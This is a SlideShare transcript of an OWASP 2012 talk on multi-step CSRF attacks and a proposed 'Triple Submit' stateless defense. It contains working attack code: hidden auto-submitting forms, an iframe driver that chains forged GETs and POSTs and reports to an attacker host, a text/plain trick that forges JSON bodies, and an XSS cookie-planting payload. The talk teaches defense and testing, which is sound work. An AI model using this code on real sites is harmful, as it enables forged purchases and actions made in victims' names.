Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
Advanced CSRF           and   Stateless Anti-CSRF@johnwilander at OWASP AppSec Research                 2012
Frontend developer at Svenska Handelsbanken Researcher in application security Co-leader OWASP Sweden@johnwilanderjohnwila...
Some QuickCSRF Basics
Cross-Site Request     Forgery        Request Fo                   rgery Cro     ss-        Sit            e
Cross-Site Request     Forgery             Request Forgery         Cros             s-Si                  te  Ph    ish   ...
What’s on your mind?          What’s on your mind?                       POST                          POST
What’s on your mind?          What’s on your mind?I love OWASP!          POST                          POST
What’s on your mind?          What’s on your mind?I love OWASP!          POST                          POSTJohn: I love OW...
What’s on your mind?          What’s on your mind?                       POST                          POST
What’s on your mind?          What’s on your mind?                       POST   I hate OWASP!          POST
What’s on your mind?          What’s on your mind?                       POST   I hate OWASP!          POST
What’s on your mind?          What’s on your mind?                       POST   I hate OWASP!          POSTJohn: I hate OW...
What’s on your mind?             What’s on your mind?                       POST   <form id="target" method="POST"        ...
<form id="target" method="POST"           action="https://1-liner.org/form">            <input type="text" value="I hate  ...
Multi-Step,Semi-Blind  CSRF
What about ”several steps”?    Step 1                Step 2               Step 3   State built up i steps, server roundtri...
Step 1   Step 2         Step 3                                 st                              ue ll                      ...
Can we forge timed GETs andPOSTsin a deterministic, non-blindway? Step 1         Step 2     Step 3            1    2   3 4
csrfMultiDriver.html  invisible  iframe  csrfMulti0.html
csrfMultiDriver.html  invisible          invisible  iframe             iframe   target0.html     csrfMulti1.html          ...
csrfMultiDriver.html  invisible       invisible          invisible  iframe          iframe             iframe   target0.ht...
csrfMultiDriver.html  invisible       invisible       invisible          invisible  iframe          iframe          iframe...
csrfMultiDriver.html  invisible       invisible       invisible       invisible  iframe          iframe          iframe   ...
Lets look atAn iframed CSRFGet
Invisible iframe for timed GET<!DOCTYPE html><html><head>    <script>        var IFRAME_ID = "0", GET_SRC =          "http...
The iframed page configures which    URL to CSRF against via a JavaScript-<!DOCTYPE html>    variable.<html><head>    <scri...
<!DOCTYPE html><html><head>    <script>       When the iframesGET_SRC = done        var IFRAME_ID = "0",                  ...
<!DOCTYPE html><html><head>    <script>        var IFRAME_ID = "0", GET_SRC =    Lets"http://www.vulnerable.com/some.html?...
var IFRAME_GETTER = {};IFRAME_GETTER.haveGotten = false;IFRAME_GETTER.reportAndGet = function() {    var imgElement;    if...
var IFRAME_GETTER = {};IFRAME_GETTER.haveGotten = false;IFRAME_GETTER.reportAndGet = function() {    var imgElement;    if...
var IFRAME_GETTER = {};IFRAME_GETTER.haveGotten = false;IFRAME_GETTER.reportAndGet = function() {    var imgElement;    if...
var IFRAME_GETTER = {};IFRAME_GETTER.haveGotten = false;IFRAME_GETTER.reportAndGet = function() {    var imgElement;    if...
var IFRAME_GETTER onerror event will fire            The = {};IFRAME_GETTER.reportAndGet = function() { does            sin...
Lets look atAn iframed CSRFPost
<!DOCTYPE html><html>             Invisible iframe for timed<head>    <script>                   POST        var IFRAME_ID...
<!DOCTYPE html><html><head>    <script>        var IFRAME_ID = "1";    </script>         The vulnerable URL can be    <scr...
<!DOCTYPE html><html><head>    <script>       When the iframes DOM is done        var IFRAME_ID = "1";       loading IFRAM...
<!DOCTYPE html><html><head>      Lets IFRAME_ID iframePoster.js    <script>        var             look at = "1";      …  ...
var IFRAME_POSTER = {};IFRAME_POSTER.havePosted = false;IFRAME_POSTER.reportAndPost = function() {    if(parent != undefin...
var IFRAME_POSTER = {};IFRAME_POSTER.havePosted = false;IFRAME_POSTER.reportAndPost = function() {    if(parent != undefin...
var IFRAME_POSTER = {};IFRAME_POSTER.havePosted = false;IFRAME_POSTER.reportAndPost = function() {    if(parent != undefin...
The main page configures the order of        the CSRF steps, opens iframes and …var CSRF = function(){  var hideIFrames = t...
return {                                         … listens on  checkIFrames : function() {     var frame;                 ...
Demo Multi-Step,Semi-Blind CSRF  against amazon.com which has protection      against this.The intention is to show how yo...
There used to be aprotection in web       1.5
Forced Browsing                   wizard-styleShipment info ✉                   Payment info $                  Next      ...
Forced Browsing                   wizard-styleShipment info ✉                   Payment info $                         Tok...
Forced Browsing                   wizard-styleShipment info ✉                    Payment info $                         Re...
Forced Browsing          wizard-styleToken 1     Token 2      Token 3
Forced Browsing                  wizard-styleToken 1               Token 2               Token 3State built up i steps, se...
Forced Browsing          wizard-styleToken 1     Token 2         Token 3                                 fo rge           ...
But in RIAs ...
RIA & client-side      state   {   ”purchase”: {}   }
RIA & client-side      state   {   ”purchase”: {     ”items”: [{}]     }   }
RIA & client-side      state   {   ”purchase”: {     ”items”: [{},{}]     }   }
RIA & client-side      state   {   ”purchase”: {     ”items”: [{},{}],     ”shipment”: {}     }   }
RIA & client-side      state   {   ”purchase”: {     ”items”: [{},{}],     ”shipment”: {},     ”payment”: {}     }   }
RIA & client-side      state   {   ”purchase”: {     ”items”: [{},{}],     ”shipment”: {},     ”payment”: {}     }   }
Can an attackerforge such a JSON    structure?
CSRF AgainstRESTful Services
CSRF possible?     {     ”purchase”: {       ”items”: [{},{}],       ”shipment”: {},       ”payment”: {}       }     }
<form id="target" method="POST" action="https://vulnerable.1-liner.org:         8444/ws/oneliners"> <input type="text"  na...
<form id="target" method="POST" action="https://vulnerable.1-liner.org:         8444/ws/oneliners" style="visibility:hidde...
<form id="target" method="POST" action="https://vulnerable.1-liner.org:         8444/ws/oneliners" style="visibility:hidde...
<form id="target" method="POST" action="https://vulnerable.1-liner.org:          8444/ws/oneliners" style="visibility:hidd...
<form id="target" method="POST" action="https://vulnerable.1-liner.org:         8444/ws/oneliners" style="visibility:hidde...
<form id="target" method="POST" action="https://vulnerable.1-liner.org:         8444/ws/oneliners" style="visibility:hidde...
<form id="target" method="POST" action="https://vulnerable.1-liner.org:         8444/ws/oneliners" style="visibility:hidde...
<form id="target" method="POST" action="https://vulnerable.1-liner.org:         8444/ws/oneliners" style="visibility:hidde...
Demo CSRF POST              thenDemo CSRF + XSSThe Browser Exploitation Framework      http://beefproject.com/
Important in your REST         API • Restrict do CSRF with GETe.g. POST   Easier to             HTTP method, • Restrict to...
Double Submit  (CSRF Protection)
Double Submit  (CSRF protection)     Anti-CSRF value     as cookie ...     ... and     request parameter
Double Submit  (CSRF protection)                     cookie ≠                     request parameter   Cannot read the   an...
Double Submit             (CSRF protection)Anti-CSRF cookie canbe generated client-side=> no server-side state
Demo Double  Submit
Are We FullyProtected Now?
Are We FullyProtected Now?   Of course not
The Other                   Subdomainhttps://securish.1-liner.org          https://other.1-liner.org                      ...
The Other                   Subdomainhttps://securish.1-liner.org          https://other.1-liner.org                      ...
The Other                   Subdomainhttps://securish.1-liner.org            https://other.1-liner.org                    ...
Demo SubdomainXSS Double Submit     Bypass
Im proposing some sort of Triple Submit     CSRF Protection
Triple Submit (CSRF protection)    Initial request of    rich internet app
Triple Submit (CSRF protection)  Random HttpOnly cookie  Cookie value as  JavaScript variable
Triple Submit              (CSRF protection)               Random HttpOnly cookie               Cookie value as           ...
The 3rd Submit• The server sets an HttpOnly cookie  with a random name and random  value• The server tells the client the ...
The 3rd Submit     • The server sets an httpOnly cookieresponse.setHeader("Set-Cookie", randomName a random randomValue + ...
The 3rd Submit     • The server sets an httpOnly cookie       with a random name and random       value<script>     •var A...
The 3rd Submit• Cookie value as parameter• The cookie name• The cookie value
My Demo System is Being Released as an OWASP• https://www.owasp.org/index.php?  title=OWASP_1-Liner• https://github.com/jo...
Thanks!@johnwilander
Upcoming SlideShare
Loading in …5
×

Advanced CSRF and Stateless Anti-CSRF

8,229 views

Published on

Published in: Technology, Design

Advanced CSRF and Stateless Anti-CSRF

  1. 1. Advanced CSRF and Stateless Anti-CSRF@johnwilander at OWASP AppSec Research 2012
  2. 2. Frontend developer at Svenska Handelsbanken Researcher in application security Co-leader OWASP Sweden@johnwilanderjohnwilander.com (music) johnwilander.se (papers etc)
  3. 3. Some QuickCSRF Basics
  4. 4. Cross-Site Request Forgery Request Fo rgery Cro ss- Sit e
  5. 5. Cross-Site Request Forgery Request Forgery Cros s-Si te Ph ish ing
  6. 6. What’s on your mind? What’s on your mind? POST POST
  7. 7. What’s on your mind? What’s on your mind?I love OWASP! POST POST
  8. 8. What’s on your mind? What’s on your mind?I love OWASP! POST POSTJohn: I love OWASP!
  9. 9. What’s on your mind? What’s on your mind? POST POST
  10. 10. What’s on your mind? What’s on your mind? POST I hate OWASP! POST
  11. 11. What’s on your mind? What’s on your mind? POST I hate OWASP! POST
  12. 12. What’s on your mind? What’s on your mind? POST I hate OWASP! POSTJohn: I hate OWASP!
  13. 13. What’s on your mind? What’s on your mind? POST <form id="target" method="POST" action="https://1-liner.org/form">John: I hate OWASP! <input type="text" value="I hate OWASP!" name="oneLiner"/> <input type="submit" value="POST"/> </form> <script type="text/javascript"> $(document).ready(function() { $(#form).submit(); }); </script>
  14. 14. <form id="target" method="POST" action="https://1-liner.org/form"> <input type="text" value="I hate OWASP!" name="oneLiner"/> <input type="submit"What’s on your mind? What’s on your mind? value="POST"/> POST </form>John: I hate OWASP! <script> $(document).ready(function() { $(#target).submit(); }); </script>
  15. 15. Multi-Step,Semi-Blind CSRF
  16. 16. What about ”several steps”? Step 1 Step 2 Step 3 State built up i steps, server roundtrip in-between
  17. 17. Step 1 Step 2 Step 3 st ue ll r eq wi ed tep ous rg t s o s F a re vi l p to the m iss
  18. 18. Can we forge timed GETs andPOSTsin a deterministic, non-blindway? Step 1 Step 2 Step 3 1 2 3 4
  19. 19. csrfMultiDriver.html invisible iframe csrfMulti0.html
  20. 20. csrfMultiDriver.html invisible invisible iframe iframe target0.html csrfMulti1.html Wait
  21. 21. csrfMultiDriver.html invisible invisible invisible iframe iframe iframe target0.html target1.html csrfMulti2.html Wait
  22. 22. csrfMultiDriver.html invisible invisible invisible invisible iframe iframe iframe iframe target0.html target1.html target2.html csrfMulti3.html Wait
  23. 23. csrfMultiDriver.html invisible invisible invisible invisible iframe iframe iframe iframe target0.html target1.html target2.html target3.html
  24. 24. Lets look atAn iframed CSRFGet
  25. 25. Invisible iframe for timed GET<!DOCTYPE html><html><head> <script> var IFRAME_ID = "0", GET_SRC = "http://www.vulnerable.com/some.html?param=1"; </script> <script src="../iframeGetter.js"></script></head><body onload="IFRAME_GETTER.onLoad()">Extra easy to CSRF since its done with HTTP GET.</body></html> csrfMulti0.ht
  26. 26. The iframed page configures which URL to CSRF against via a JavaScript-<!DOCTYPE html> variable.<html><head> <script> var IFRAME_ID = "0", GET_SRC = "http://www.vulnerable.com/some.html?param=1"; </script> <script src="../iframeGetter.js"></script></head><body onload="IFRAME_GETTER.onLoad()">Extra easy to CSRF since its done with HTTP GET.</body></html> csrfMulti0.ht
  27. 27. <!DOCTYPE html><html><head> <script> When the iframesGET_SRC = done var IFRAME_ID = "0", DOM is "http://www.vulnerable.com/some.html?param=1"; loading IFRAME_GETTER.onload() is </script> called. <script src="../iframeGetter.js"></script></head><body onload="IFRAME_GETTER.onLoad()">Extra easy to CSRF since its done with HTTP GET.</body></html> csrfMulti0.ht
  28. 28. <!DOCTYPE html><html><head> <script> var IFRAME_ID = "0", GET_SRC = Lets"http://www.vulnerable.com/some.html?param=1"; look at iframeGetter.js … </script> <script src="../iframeGetter.js"></script></head><body onload="IFRAME_GETTER.onLoad()">Extra easy to CSRF since its done with HTTP GET.</body></html> csrfMulti0.ht
  29. 29. var IFRAME_GETTER = {};IFRAME_GETTER.haveGotten = false;IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_GETTER.haveGotten) { imgElement = document.createElement("img"); imgElement.setAttribute("src", GET_SRC); imgElement.setAttribute("height", "0"); imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; }};IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000);}; iframeGetter.js
  30. 30. var IFRAME_GETTER = {};IFRAME_GETTER.haveGotten = false;IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_GETTER.haveGotten) { imgElement = document.createElement("img"); imgElement.setAttribute("src", GET_SRC); imgElement.setAttribute("height", "0"); IFRAME_GETTER.onload() makes sure imgElement.setAttribute("width", "0"); that the iframe reports back to the imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); main page once every second. document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; } so called heart beat function. A};IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000);}; iframeGetter.js
  31. 31. var IFRAME_GETTER = {};IFRAME_GETTER.haveGotten = false;IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_GETTER.haveGotten) { In practice, document.createElement("img"); imgElement = the heart beats are delivered via postMessage between imgElement.setAttribute("src", GET_SRC); imgElement.setAttribute("height", "0"); the iframe and the main page. imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; }};IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000);}; iframeGetter.js
  32. 32. var IFRAME_GETTER = {};IFRAME_GETTER.haveGotten = false;IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { The GET CSRF is"https://attackr.se:8444"); executed with an parent.postMessage(IFRAME_ID, } <img src="vulnerable URL"> if(!IFRAME_GETTER.haveGotten) { imgElement = document.createElement("img"); imgElement.setAttribute("src", GET_SRC); imgElement.setAttribute("height", "0"); imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; }};IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000);}; iframeGetter.js
  33. 33. var IFRAME_GETTER onerror event will fire The = {};IFRAME_GETTER.reportAndGet = function() { does since the vulnerable URLIFRAME_GETTER.haveGotten = false; not respond with an image. We var imgElement; if(parent != undefined) { use that event to stop the parent.postMessage(IFRAME_ID, heart beat function. No heart "https://attackr.se:8444"); } beat means the main page if(!IFRAME_GETTER.haveGotten) { imgElement = this step is done and knows document.createElement("img"); imgElement.setAttribute("src", GET_SRC); can continue opening the next imgElement.setAttribute("height", "0"); iframe. imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; }};IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000);}; iframeGetter.js
  34. 34. Lets look atAn iframed CSRFPost
  35. 35. <!DOCTYPE html><html> Invisible iframe for timed<head> <script> POST var IFRAME_ID = "1"; </script> <script src="../iframePoster.js"></script></head><body onload="IFRAME_POSTER.onLoad()"><form id="target" method="POST" action="https://www.vulnerable.com/addBasket.html" style="visibility:hidden"> <input type="text" name="goodsId" value="95a0b76bde6b1c76e05e28595fdf5813" /> <input type="text" name="numberOfItems" value="1" /> <input type="text" name="country" value="SWE" /> <input type="text" name="proceed" value="To checkout" /></form></body></html> csrfMulti1.ht
  36. 36. <!DOCTYPE html><html><head> <script> var IFRAME_ID = "1"; </script> The vulnerable URL can be <script src="../iframePoster.js"></script></head> found in the form to be<body onload="IFRAME_POSTER.onLoad()"> posted.<form id="target" method="POST" action="https://www.vulnerable.com/addBasket.html" style="visibility:hidden"> <input type="text" name="goodsId" value="95a0b76bde6b1c76e05e28595fdf5813" /> <input type="text" name="numberOfItems" value="1" /> <input type="text" name="country" value="SWE" /> <input type="text" name="proceed" value="To checkout" /></form></body></html> csrfMulti1.ht
  37. 37. <!DOCTYPE html><html><head> <script> When the iframes DOM is done var IFRAME_ID = "1"; loading IFRAME_POSTER.onload() </script> is <script src="../iframePoster.js"></script></head>called.<body onload="IFRAME_POSTER.onLoad()"><form id="target" method="POST" action="https://www.vulnerable.com/addBasket.html" style="visibility:hidden"> <input type="text" name="goodsId" value="95a0b76bde6b1c76e05e28595fdf5813" /> <input type="text" name="numberOfItems" value="1" /> <input type="text" name="country" value="SWE" /> <input type="text" name="proceed" value="To checkout" /></form></body></html> csrfMulti1.ht
  38. 38. <!DOCTYPE html><html><head> Lets IFRAME_ID iframePoster.js <script> var look at = "1"; … </script> <script src="../iframePoster.js"></script></head><body onload="IFRAME_POSTER.onLoad()"><form id="target" method="POST" action="https://www.vulnerable.com/addBasket.html" style="visibility:hidden"> <input type="text" name="goodsId" value="95a0b76bde6b1c76e05e28595fdf5813" /> <input type="text" name="numberOfItems" value="1" /> <input type="text" name="country" value="SWE" /> <input type="text" name="proceed" value="To checkout" /></form></body></html> csrfMulti1.ht
  39. 39. var IFRAME_POSTER = {};IFRAME_POSTER.havePosted = false;IFRAME_POSTER.reportAndPost = function() { if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_POSTER.havePosted) { document.forms[target].submit(); IFRAME_POSTER.havePosted = true; }};IFRAME_POSTER.onLoad = function() { setInterval(IFRAME_POSTER.reportAndPost, 1000);}; iframePoster
  40. 40. var IFRAME_POSTER = {};IFRAME_POSTER.havePosted = false;IFRAME_POSTER.reportAndPost = function() { if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_POSTER.havePosted) { makes sure IFRAME_POSTER.onload() thedocument.forms[target].submit(); main iframe reports back to the IFRAME_POSTER.havePosted = true; page once every second. Again, a }}; heart beat function.IFRAME_POSTER.onLoad = function() { setInterval(IFRAME_POSTER.reportAndPost, 1000);}; iframePoster
  41. 41. var IFRAME_POSTER = {};IFRAME_POSTER.havePosted = false;IFRAME_POSTER.reportAndPost = function() { if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); The heart beats stop automatically } when the POST is done since the if(!IFRAME_POSTER.havePosted) { document.forms[target].submit(); iframe is loaded with thetrue; IFRAME_POSTER.havePosted = response }}; from the web server that got the POST.IFRAME_POSTER.onLoad = function() { setInterval(IFRAME_POSTER.reportAndPost, 1000);}; iframePoster
  42. 42. The main page configures the order of the CSRF steps, opens iframes and …var CSRF = function(){ var hideIFrames = true, frames = [ {id: 0, hasPosted: "no", hasOpenedIFrame: false, src: csrfMulti0.html} ,{id: 1, hasPosted: "no", hasOpenedIFrame: false, src: csrfMulti1.html} ], appendIFrame = function(frame) { var domNode = <iframe src=" + frame.src + " height="600" width="400" + (hideIFrames ? style="visibility: hidden" : ) + ></iframe>; $("body").append(domNode); };… csrfMultiDriver.ht
  43. 43. return { … listens on checkIFrames : function() { var frame; heart beats to for (var i = 0; i < frames.length; i++) { frame = frames[i]; time every iframe if (!frame.hasOpenedIFrame) { appendIFrame(frame); frame.hasOpenedIFrame = true; break; // Only open one iframe at the time } else if(frame.hasPosted == "no") { frame.hasPosted = "maybe"; break; // iframe not done posting, wait } else if(frame.hasPosted == "maybe") { frame.hasPosted = "yes"; break; // iframe not done posting, wait } else if (frame.hasPosted == "yes") { continue; // Time to allow for the next iframe to open } } }, receiveMessage : function(event) { if (event.origin == "https://attackr.se:8444") { CSRF.frames[parseInt(event.data)].hasPosted = "no"; // Still on CSRF page so POST not done yet } } csrfMultiDriver.ht
  44. 44. Demo Multi-Step,Semi-Blind CSRF against amazon.com which has protection against this.The intention is to show how you can test your own sites.
  45. 45. There used to be aprotection in web 1.5
  46. 46. Forced Browsing wizard-styleShipment info ✉ Payment info $ Next Buy!
  47. 47. Forced Browsing wizard-styleShipment info ✉ Payment info $ Token Next Buy!
  48. 48. Forced Browsing wizard-styleShipment info ✉ Payment info $ Re-Auth Next Buy!
  49. 49. Forced Browsing wizard-styleToken 1 Token 2 Token 3
  50. 50. Forced Browsing wizard-styleToken 1 Token 2 Token 3State built up i steps, server roundtrip in-between
  51. 51. Forced Browsing wizard-styleToken 1 Token 2 Token 3 fo rge n’t to uld est Co qu re t step las out a w tith oken va lid
  52. 52. But in RIAs ...
  53. 53. RIA & client-side state { ”purchase”: {} }
  54. 54. RIA & client-side state { ”purchase”: { ”items”: [{}] } }
  55. 55. RIA & client-side state { ”purchase”: { ”items”: [{},{}] } }
  56. 56. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {} } }
  57. 57. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
  58. 58. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
  59. 59. Can an attackerforge such a JSON structure?
  60. 60. CSRF AgainstRESTful Services
  61. 61. CSRF possible? { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
  62. 62. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /></form>
  63. 63. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /></form>
  64. 64. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /></form>
  65. 65. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> Forms produce a request body that looks like this: <input type="text" name=”” theName=theValue value="" /> ... and that’s not valid JSON. <input type="submit" value="Go" /></form>
  66. 66. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> <input type="text" name={"id": 0, "nickName": "John", "oneLiner": "I hate OWASP!", "timestamp": "20111006"}// value="dummy" /> <input type="submit" value="Go" /></form>
  67. 67. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" body that looks Produces a request like this: enctype="text/plain"> <input type="text" 0, "nickName": {"id": name={"id": "John","oneLiner": "I 0, "nickName": "John", hate OWASP!","timestamp": "oneLiner": "I hate OWASP!", "20111006"}//=dummy "timestamp": "20111006"}// value="dummy" /> ... and that is acceptable JSON! <input type="submit" value="Go" /></form>
  68. 68. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> <input type="text" name={"id": 0, "nickName": "John", "oneLiner": "I hate OWASP!", "timestamp": "20111006", "paddingDummy": " value="} /> <input type="submit" value="Go" />
  69. 69. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" body that looks Produces a request like this: enctype="text/plain"> <input type="text" 0, "nickName": {"id": name={"id": "John","oneLiner": "I 0, "nickName": "John", hate OWASP!","timestamp": "oneLiner": "I hate OWASP!", "20111006", "timestamp": "20111006", "paddingDummy": "="} "paddingDummy": " value="} /> ... and that is JSON! <input type="submit" value="Go" />
  70. 70. Demo CSRF POST thenDemo CSRF + XSSThe Browser Exploitation Framework http://beefproject.com/
  71. 71. Important in your REST API • Restrict do CSRF with GETe.g. POST Easier to HTTP method, • Restrict to AJAX if applicable X-Requested-With:XMLHttpRequest Cross-domain AJAX prohibited by default • Restrict media type(s), e.g. application/json HTML forms only allow URL encoded, multi- part and text/plain
  72. 72. Double Submit (CSRF Protection)
  73. 73. Double Submit (CSRF protection) Anti-CSRF value as cookie ... ... and request parameter
  74. 74. Double Submit (CSRF protection) cookie ≠ request parameter Cannot read the anti-CSRF cookie to include it as parameter
  75. 75. Double Submit (CSRF protection)Anti-CSRF cookie canbe generated client-side=> no server-side state
  76. 76. Demo Double Submit
  77. 77. Are We FullyProtected Now?
  78. 78. Are We FullyProtected Now? Of course not
  79. 79. The Other Subdomainhttps://securish.1-liner.org https://other.1-liner.org Search Buy!
  80. 80. The Other Subdomainhttps://securish.1-liner.org https://other.1-liner.org <script>alert(XSS)</script> Search XSS OK Buy!
  81. 81. The Other Subdomainhttps://securish.1-liner.org https://other.1-liner.org <script> Search $.cookie( "doubleSubmitToken", "knownValue", { path: "/", domain: ".1-liner.org" }); </script> Buy!
  82. 82. Demo SubdomainXSS Double Submit Bypass
  83. 83. Im proposing some sort of Triple Submit CSRF Protection
  84. 84. Triple Submit (CSRF protection) Initial request of rich internet app
  85. 85. Triple Submit (CSRF protection) Random HttpOnly cookie Cookie value as JavaScript variable
  86. 86. Triple Submit (CSRF protection) Random HttpOnly cookie Cookie value as request parameterStateful:Cookie name saved in server sessionStateless:Server only accepts one such cookie (checks format)
  87. 87. The 3rd Submit• The server sets an HttpOnly cookie with a random name and random value• The server tells the client the value of the random cookie, not the name• The client submits the value of the cookie as a request parameter
  88. 88. The 3rd Submit • The server sets an httpOnly cookieresponse.setHeader("Set-Cookie", randomName a random randomValue + "; with + "=" + name and random value HttpOnly; path=/; domain=.1-liner.org"); • The server tells the client the name and value of the random cookie • The Client submits the name and value of the cookie as a request parameter
  89. 89. The 3rd Submit • The server sets an httpOnly cookie with a random name and random value<script> •var ANTI_CSRF_TRIPLE the client the name %>; The server tells = <%= randomValue</script> value of the random cookie and • The Client submits the name and value of the cookie as a request parameter
  90. 90. The 3rd Submit• Cookie value as parameter• The cookie name• The cookie value
  91. 91. My Demo System is Being Released as an OWASP• https://www.owasp.org/index.php? title=OWASP_1-Liner• https://github.com/johnwilander/ owasp-1-liner
  92. 92. Thanks!@johnwilander

×